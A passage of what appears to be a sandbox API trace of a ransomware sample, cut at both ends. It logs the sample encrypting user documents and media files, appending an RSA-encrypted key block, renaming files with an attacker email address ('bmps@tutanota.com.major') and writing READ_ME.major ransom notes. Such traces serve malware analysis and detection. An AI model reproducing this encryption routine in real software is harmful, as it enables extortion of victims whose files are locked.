lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0169.924] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\Qaoy3PLuKp5zNT4kl1.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\dqh2lyx5dpbcadwmsj\\qaoy3plukp5znt4kl1.xlsx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\Qaoy3PLuKp5zNT4kl1.xlsx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\dqh2lyx5dpbcadwmsj\\qaoy3plukp5znt4kl1.xlsx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.925] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x651ca8 | out: hHeap=0x570000) returned 1 [0169.925] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x657000 | out: hHeap=0x570000) returned 1 [0169.926] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656800 | out: hHeap=0x570000) returned 1 [0169.926] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655a38 | out: hHeap=0x570000) returned 1 [0169.926] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0169.926] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f10 [0169.926] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.926] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\jN1YxH.pptx", dwFileAttributes=0x80) returned 1 [0169.926] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0169.926] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0b30 [0169.926] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0169.926] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\jN1YxH.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\dqh2lyx5dpbcadwmsj\\jn1yxh.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8 [0169.926] GetFileSizeEx (in: hFile=0x7a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=9864) returned 1 [0169.926] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2688) returned 0x6590d8 [0169.926] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2688) returned 0x65b768 [0169.926] ReadFile (in: hFile=0x7a8, lpBuffer=0x6590d8, nNumberOfBytesToRead=0x2688, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6590d8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2688, lpOverlapped=0x0) returned 1 [0169.927] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=-9864, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.927] WriteFile (in: hFile=0x7a8, lpBuffer=0x65b768*, nNumberOfBytesToWrite=0x2688, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65b768*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2688, lpOverlapped=0x0) returned 1 [0169.927] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6590d8 | out: hHeap=0x570000) returned 1 [0169.927] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65b768 | out: hHeap=0x570000) returned 1 [0169.927] SetFilePointer (in: hFile=0x7a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2688 [0169.927] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.927] WriteFile (in: hFile=0x7a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.927] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0169.927] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0169.928] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0169.928] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0169.928] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="mD5KqJ5XafZx24dsb4B0gBKVItul1sNMqKc4rGYOaBUTRgS5VvwbWtJZCMFMqw+q\nndhLrdyUA3A2wsZeMPrtv6MCIBXS8w31WICLEFKvlksmNnEk1UHdSk3ehfg6iMPF\nqgtehKAje3ePGuCTYPIvGF7IEX3ZooRVZEco1lygfM1HjBax1yIEjcniKZpGIFOB\n53rSwLHp16qQVRl5JP4Glg4V5shhpUaMUUm80ii6ky/+e3pdfZjyHbCKSP+e6VlI\nnFnRINuv5Z0+RMs7aQ8P40vvKBijSl7KsxLr9pvggem8nmemB99pm5z7V/ca4VLf\n/E0sC0+gpcmNnL1s3C3gVQ==\n", pcchString=0x2e3f9a8) returned 1 [0169.928] WriteFile (in: hFile=0x7a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0169.928] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0169.928] WriteFile (in: hFile=0x7a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0169.928] CloseHandle (hObject=0x7a8) returned 1 [0169.928] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0169.928] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\jN1YxH.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\dqh2lyx5dpbcadwmsj\\jn1yxh.pptx"), lpNewFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\jN1YxH.pptx.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\dqh2lyx5dpbcadwmsj\\jn1yxh.pptx.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0169.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b0b30 | out: hHeap=0x570000) returned 1 [0169.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656f10 | out: hHeap=0x570000) returned 1 [0169.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0169.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0169.929] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be948 [0169.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd808 | out: hHeap=0x570000) returned 1 [0169.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0169.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0169.929] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee2240, ftCreationTime.dwHighDateTime=0x1d4cf15, ftLastAccessTime.dwLowDateTime=0x5ad2a770, ftLastAccessTime.dwHighDateTime=0x1d4cb64, ftLastWriteTime.dwLowDateTime=0x1c8526bb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x653de0 [0169.929] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0169.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0169.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0169.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0169.930] GetLastError () returned 0x0 [0169.930] SetLastError (dwErrCode=0x0) [0169.930] GetLastError () returned 0x0 [0169.930] SetLastError (dwErrCode=0x0) [0169.930] GetLastError () returned 0x0 [0169.930] SetLastError (dwErrCode=0x0) [0169.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0169.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee18 [0169.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0169.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x6570a0 [0169.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x653e60 [0169.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653e60 | out: hHeap=0x570000) returned 1 [0169.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403c0 [0169.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403c0 | out: hHeap=0x570000) returned 1 [0169.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6570a0 | out: hHeap=0x570000) returned 1 [0169.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0169.930] FindNextFileW (in: hFindFile=0x653de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee2240, ftCreationTime.dwHighDateTime=0x1d4cf15, ftLastAccessTime.dwLowDateTime=0x5ad2a770, ftLastAccessTime.dwHighDateTime=0x1d4cb64, ftLastWriteTime.dwLowDateTime=0x1c8526bb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0169.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0169.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0169.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0169.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0169.930] GetLastError () returned 0x0 [0169.930] SetLastError (dwErrCode=0x0) [0169.930] GetLastError () returned 0x0 [0169.930] SetLastError (dwErrCode=0x0) [0169.930] GetLastError () returned 0x0 [0169.930] SetLastError (dwErrCode=0x0) [0169.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0169.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0169.930] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0169.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656fd8 [0169.930] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x653f20 [0169.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653f20 | out: hHeap=0x570000) returned 1 [0169.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405e8 [0169.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405e8 | out: hHeap=0x570000) returned 1 [0169.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656fd8 | out: hHeap=0x570000) returned 1 [0169.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0169.931] FindNextFileW (in: hFindFile=0x653de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x740bff0, ftCreationTime.dwHighDateTime=0x1d4c8a5, ftLastAccessTime.dwLowDateTime=0x3131a8d0, ftLastAccessTime.dwHighDateTime=0x1d4ce84, ftLastWriteTime.dwLowDateTime=0x3131a8d0, ftLastWriteTime.dwHighDateTime=0x1d4ce84, nFileSizeHigh=0x0, nFileSizeLow=0x11b44, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Ex8-3h704q755O8.m4a", cAlternateFileName="EX8-3H~1.M4A")) returned 1 [0169.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0169.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0169.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0169.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0169.931] GetLastError () returned 0x0 [0169.931] SetLastError (dwErrCode=0x0) [0169.931] GetLastError () returned 0x0 [0169.931] SetLastError (dwErrCode=0x0) [0169.931] GetLastError () returned 0x0 [0169.931] SetLastError (dwErrCode=0x0) [0169.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0169.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0169.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd808 [0169.931] FindNextFileW (in: hFindFile=0x653de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f23cd0, ftCreationTime.dwHighDateTime=0x1d4d14c, ftLastAccessTime.dwLowDateTime=0x154aa8c0, ftLastAccessTime.dwHighDateTime=0x1d4d2f2, ftLastWriteTime.dwLowDateTime=0x154aa8c0, ftLastWriteTime.dwHighDateTime=0x1d4d2f2, nFileSizeHigh=0x0, nFileSizeLow=0x847b, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="GeJVnWXUWJ.mp3", cAlternateFileName="GEJVNW~1.MP3")) returned 1 [0169.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0169.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0169.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0169.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0169.931] GetLastError () returned 0x0 [0169.931] SetLastError (dwErrCode=0x0) [0169.931] GetLastError () returned 0x0 [0169.931] SetLastError (dwErrCode=0x0) [0169.931] GetLastError () returned 0x0 [0169.931] SetLastError (dwErrCode=0x0) [0169.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656ec0 [0169.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656ec0 | out: hHeap=0x570000) returned 1 [0169.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd9e8 [0169.931] FindNextFileW (in: hFindFile=0x653de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926423e0, ftCreationTime.dwHighDateTime=0x1d4cc85, ftLastAccessTime.dwLowDateTime=0x53f3f30, ftLastAccessTime.dwHighDateTime=0x1d4d5cd, ftLastWriteTime.dwLowDateTime=0x53f3f30, ftLastWriteTime.dwHighDateTime=0x1d4d5cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="iZRi6TNv", cAlternateFileName="")) returned 1 [0169.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0169.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0169.931] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0169.931] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0169.932] GetLastError () returned 0x0 [0169.932] SetLastError (dwErrCode=0x0) [0169.932] GetLastError () returned 0x0 [0169.932] SetLastError (dwErrCode=0x0) [0169.932] GetLastError () returned 0x0 [0169.932] SetLastError (dwErrCode=0x0) [0169.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f10 [0169.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e48 [0169.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656f10 | out: hHeap=0x570000) returned 1 [0169.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656e48 | out: hHeap=0x570000) returned 1 [0169.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5c7e08 [0169.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e48 [0169.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5c7378 [0169.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d200 [0169.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0169.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0169.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0169.932] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0169.932] GetLastError () returned 0x0 [0169.932] SetLastError (dwErrCode=0x0) [0169.932] GetLastError () returned 0x0 [0169.932] SetLastError (dwErrCode=0x0) [0169.932] GetLastError () returned 0x0 [0169.932] SetLastError (dwErrCode=0x0) [0169.932] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0169.932] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\iZRi6TNv\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\izri6tnv\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ac [0169.934] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0169.934] WriteFile (in: hFile=0x7ac, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0169.935] CloseHandle (hObject=0x7ac) returned 1 [0169.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0169.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0169.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d200 | out: hHeap=0x570000) returned 1 [0169.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0169.935] FindNextFileW (in: hFindFile=0x653de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9650650, ftCreationTime.dwHighDateTime=0x1d4d3a4, ftLastAccessTime.dwLowDateTime=0xd1a06cf0, ftLastAccessTime.dwHighDateTime=0x1d4d33b, ftLastWriteTime.dwLowDateTime=0xd1a06cf0, ftLastWriteTime.dwHighDateTime=0x1d4d33b, nFileSizeHigh=0x0, nFileSizeLow=0x11728, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="mpoPvaz6qUVX.m4a", cAlternateFileName="MPOPVA~1.M4A")) returned 1 [0169.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0169.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0169.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0169.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0169.935] GetLastError () returned 0x0 [0169.935] SetLastError (dwErrCode=0x0) [0169.935] GetLastError () returned 0x0 [0169.935] SetLastError (dwErrCode=0x0) [0169.935] GetLastError () returned 0x0 [0169.935] SetLastError (dwErrCode=0x0) [0169.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0169.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0169.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0169.935] FindNextFileW (in: hFindFile=0x653de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae50e150, ftCreationTime.dwHighDateTime=0x1d4d00f, ftLastAccessTime.dwLowDateTime=0x93a9ef30, ftLastAccessTime.dwHighDateTime=0x1d4d529, ftLastWriteTime.dwLowDateTime=0x93a9ef30, ftLastWriteTime.dwHighDateTime=0x1d4d529, nFileSizeHigh=0x0, nFileSizeLow=0x937e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="OGbPaYPdlfIbp-KJ33Og.wav", cAlternateFileName="OGBPAY~1.WAV")) returned 1 [0169.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0169.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0169.935] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0169.935] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0169.935] GetLastError () returned 0x0 [0169.935] SetLastError (dwErrCode=0x0) [0169.935] GetLastError () returned 0x0 [0169.936] SetLastError (dwErrCode=0x0) [0169.936] GetLastError () returned 0x0 [0169.936] SetLastError (dwErrCode=0x0) [0169.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0169.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0169.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0169.936] FindNextFileW (in: hFindFile=0x653de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8526bb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1c8526bb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1c8526bb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0169.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0169.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0169.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0169.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0169.936] GetLastError () returned 0x0 [0169.936] SetLastError (dwErrCode=0x0) [0169.936] GetLastError () returned 0x0 [0169.936] SetLastError (dwErrCode=0x0) [0169.936] GetLastError () returned 0x0 [0169.936] SetLastError (dwErrCode=0x0) [0169.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656f60 [0169.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656f60 | out: hHeap=0x570000) returned 1 [0169.936] FindNextFileW (in: hFindFile=0x653de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c8526bb, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1c8526bb, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1c8526bb, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0169.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0169.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x656e98 [0169.936] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0169.936] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\OGbPaYPdlfIbp-KJ33Og.wav", dwFileAttributes=0x80) returned 1 [0169.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0169.936] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b1628 [0169.936] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0169.936] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\OGbPaYPdlfIbp-KJ33Og.wav" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\ogbpaypdlfibp-kj33og.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ac [0169.937] GetFileSizeEx (in: hFile=0x7ac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=37758) returned 1 [0169.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x937e) returned 0x6590d8 [0169.937] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x937e) returned 0x662460 [0169.937] 